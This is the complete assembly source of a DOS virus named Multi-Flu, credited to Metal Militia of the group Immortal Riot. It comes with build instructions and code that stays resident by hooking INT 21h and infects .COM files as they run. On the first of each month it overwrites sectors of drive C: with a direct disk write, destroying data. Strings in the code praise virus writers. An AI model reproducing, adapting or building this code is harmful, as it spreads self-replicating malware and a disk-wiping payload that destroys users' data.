; Virusname: Multi-Flu ; Origin : Sweden ; Author : Metal Militia/Immortal Riot ; ; Multi-Flu's a resident infector of .COM files (w/the exception of ; COMMAND.COM when they're executed. If the date's the first of any ; month it'll overwrite 9999 sectors on the C: drive, thereby rendering ; it useless. After this it still goes resident though, just in case the ; user started the infected file from some other drive. ; ; To assembly this: Use Tasm Filename.asm ; Tlink Filename.obj ; Exe2bin Filename.exe Virus.com CODE SEGMENT ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE SVIR EQU $ ; Start of FULL virus code VLENGTH EQU EOV-SVIR ; Size of virus GTHANG EQU 1994h ; Paragraphs from TOP O' MEM ; to put us ENTRY: CALL GETDELTA ; Get the DELTA offset NOP GETDELTA: POP BP SUB BP,OFFSET(GETDELTA)-1 ; Calculate it START PROC NEAR CALL ROCKME ; Find total number o' paragraphs SUB AX,GTHANG ; Get segment of where our copy JMP PUSH_ME ; might be db "COPY ME, SO I CAN TRAVEL!!!!!" PUSH_ME: PUSH AX POP ES JMP PUSH_ME_AGAIN_CAUSE_I_SAY_SO db "Why am i so fly? ;)" PUSH_ME_AGAIN_CAUSE_I_SAY_SO: CALL MOVE_DA_LIL_BABE PUSH CS POP ES ; Get ID thang from segment ; (viral= CALL FUNKY ALREADY_IN_DA_MEM_THANG: CMP CX,CS:[BP+OFFSET(TAG)] ; Already in memory? JZ ORGIT ; If so, RET(urn) to org. proggy JMP INSTALL ; Else, install us.. ORGIT: LEA SI,[BP+OFFSET(FIRSTCODE)] MOV CX,SMILELEN CALL FUNKY ; Lets 'FUNK' out :) MOV DI,100h ; di equal 100h (sov) REP MOVSB ; Copy org. bytes to da place CALL FUNKY ; Yet anotha FUNK calling MOV AX,100h ; AX = 100h PUSH AX ; And push it.... RET ; Return to org. dude MOVE_DA_LIL_BABE: MOV CX,ES:TAG ; Is mah lil' grafitti tag here? FUNKY: RET ; RET to code caller INSTALL: MOV AX,3521h ; Get vector (INT 21h) INT 21h ; --------------^ CALL FUNKY MOV CS:[BP+OFFSET(OLD21A)],BX ; Save the old one MOV CS:[BP+OFFSET(OLD21B)],ES ; here right now CALL FUNKY CALL ROCKME ; See above in the code SUB AX,GTHANG ; How much to put MEMRES PUSH AX ; Mhmmm.. JMP PUSH_SOME_MORE_ONES DB "Mmm.. Mmm.. Mmm.." PUSH_SOME_MORE_ONES: PUSH AX POP ES ; Segment (destination) JMP PUSH_THANG DB "For the smell of it!!!!!" PUSH_THANG: PUSH CS POP DS ; Segment (source) CALL FUNKY MOV SI,BP ; Start of virus = DELTA thang MOV DI,0 ; Sub di,di or Xor di,di JMP VIR_LEN_ME_NOW db "MULTIMULTIMULTIMULTI" VIR_LEN_ME_NOW: MOV CX,OFFSET VLENGTH ; Virus length REP MOVSB ; Move our lazy ass there POP DS MOV DX,OFFSET(VECTOR) ; Now, offset *OUR* INT21 CALL FUNKY MOV AX,2521h ; Set vector (INT 21h) INT 21h PUSH CS POP ES CALL FUNKY PUSH CS POP DS ; Segments (reset) MOV AH,2Ah ; Get date INT 21h CMP DL,1 ; First of any month? JNE PHUNKSTER ; If not, go on as normal ; Else, NUKE!!!!! FUCK_EM: MOV AL,2 ; [C:] drive MOV CX,270h ; 9999 sectors CWD ; starting with the 'BOOT' INT 26h ; Direct diskwrite POPF PHUNKSTER: JMP ORGIT START ENDP ROCKME PROC NEAR INT 12h ; Gimme total numba jmp cx_me ; o' kilobytes mem db "MULTI-FLU v1.0" cx_me: MOV CX,1024 ; one kilobyte equal 1024 bytes jmp multi_kewl db "(c) 1994 Metal Militia" multi_kewl: MUL CX ; a 'multiply' i guess jmp seg_me db "Immortal Riot" seg_me: MOV CX,16 ; Segment (16 bytes in each) jmp div_kewl db "Sweden" div_kewl: DIV CX ; Divide (AX & DX by CX) RET ; Back to code caller ROCKME ENDP TSMILE EQU $ IRNOP: XCHG AX,AX ; Or.. shall we say, NOP!!!!! DB 0BBh ; BX (MOV) VMENOW DW 0 ; offset our code PUSH BX ; push.... RET ; and jump to it BSMILE EQU $ SMILELEN EQU BSMILE-TSMILE ; Length of this "procedure" OLD21A DW 0 OLD21B DW 0 ;Original INT 21h vector TEXTONE DB "M" BUFFA DW 0 ; Infectioncheck buffa TEXTTWO DB "U" EXEPHILEZ DB 'MZ' ; To see if the file's and .EXE TEXTTHREE DB "L" OTHEREXEZ DB 'ZM' ; See above COMMIECOM DB 0e9h, 0ddh ; Marker for COMMAND.COM in ; MSDOS v6.x (perhaps others too) TEXTFOUR DB "T" FIRSTCODE DB 0CDh DB 20h ; Here we save the org. bytes DB SMILELEN-2 DUP ('?') TEXTFIVE DB "i" OLDTIME DW 0 OLDDATE DW 0 ;Old file time and date NOCHEINTEXT DB "FLU" FAKEIT PROC NEAR ; It's used to call org. INT 21h PUSHF CALL DWORD PTR CS:OLD21A ; Call the original RET ; RET to code caller FAKEIT ENDP VECTOR PROC NEAR ;INT 21h vector NOP CMP AX,4B00h ; Exec 'em? JE VTRIGGA ; If so, infect JMP DWORD PTR CS:OLD21A ; switch back to original INT21 VTRIGGA: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSH DS PUSH BP ; Save all reg's INFECT: MOV AX,3D02h ; READ/WRITE (open file) CALL FAKEIT XCHG BX,AX ; mov bx,ax MOV AX,5700h ; save the CALL FAKEIT MOV CS:OLDTIME,CX ; original time MOV CS:OLDDATE,DX ; and date here JMP TIMER DB "All viruswriters worldwide" TIMER: MOV CX,2 ; two bytes JMP PUSH_IT_RIGHT_AT_THIS_MOMENT db "are to be gratulated!!!!!" PUSH_IT_RIGHT_AT_THIS_MOMENT: PUSH CS POP DS JMP OPEN_DA_BUFFA_RIGHT_AWAY DB "FLUFLUFLUFLU" OPEN_DA_BUFFA_RIGHT_AWAY: MOV DX,OFFSET BUFFA ; into this buffa MOV AH,3Fh ; read 'em CALL FAKEIT JMP CHECK_IN_DA_BUFFA DB "Written during SUMMERTIME!!!!!" CHECK_IN_DA_BUFFA: MOV DX,CS:BUFFA CMP DX, WORD PTR [OFFSET IRNOP] ; Check if already infected JE QUIT_IT ; if so, exit CMP DX, WORD PTR [OFFSET EXEPHILEZ] ; Check if .EXE JE QUIT_IT ; if so, exit CMP DX, WORD PTR [OFFSET OTHEREXEZ] ; See above JE QUIT_IT ; if so, exit CMP DX, WORD PTR [OFFSET COMMIECOM] ; Check if COMMAND.COM JNE KEEP_ON_SPREADING ; if not, infect the fucker QUIT_IT: JMP ENDINF ; Outa here (for now.. ) KEEP_ON_SPREADING: CALL SOF ; Goto start of file MOV CX,SMILELEN ; Offset the code we'll have first in JMP UNIROCKER ; infected file, and jmp db "Happy happy! Joy joy!" UNIROCKER: MOV DX,OFFSET(FIRSTCODE) ; Offset da buffa MOV AH,3Fh ; Read from it CALL FAKEIT ; 'Fake' an INT 21h CALL EOF ; Goto end of file ADD AX,100h JMP GO_FOR_IT db "Winterkvist is" GO_FOR_IT: MOV CS:VMENOW,AX ; Branch (set up code offset) MOV CX,VLENGTH ; Length of virus code JMP WRITE_DA_VIRUS db "a looser!!!!!" WRITE_DA_VIRUS: CWD ; Sub dx,dx or Xor dx,dx MOV AH,40h ; Write it CALL FAKEIT CALL SOF ; FPOINTER thang MOV CX,SMILELEN ;Length of branch code JMP WRITE_FIRST_BYTES db "Greetings to the rest" WRITE_FIRST_BYTES: MOV DX,OFFSET(IRNOP) ;Write the branch code MOV AH,40h ;Write file or device CALL FAKEIT JMP ENDINF db "of IMMORTAL RIOT" ENDINF: MOV CX,OLDTIME MOV DX,OLDDATE JMP ORG_TIME_BACK DB "This is property of IR" ORG_TIME_BACK: MOV AX,5701h ; restore original date/time CALL FAKEIT MOV AH,3Eh ; close the file CALL FAKEIT NO_FILE: POP BP ; Pop all register (restore) POP DS POP ES POP DI POP SI POP DX POP CX POP BX POP AX JMP DWORD PTR CS:OLD21A ; Mission completed, back to old EOF: MOV AX,4202h ; Goto end of file JMP XOR_EM SOF: MOV AX,4200h ; Goto start of file XOR_EM: SUB CX,CX CWD CALL FAKEIT RET ; RET to code caller VECTOR ENDP TAG DW 1234h ; Digi grafitti TAG for checking ; if it's already in memory EOV EQU $ ; Here the fun ends guys CODE ENDS END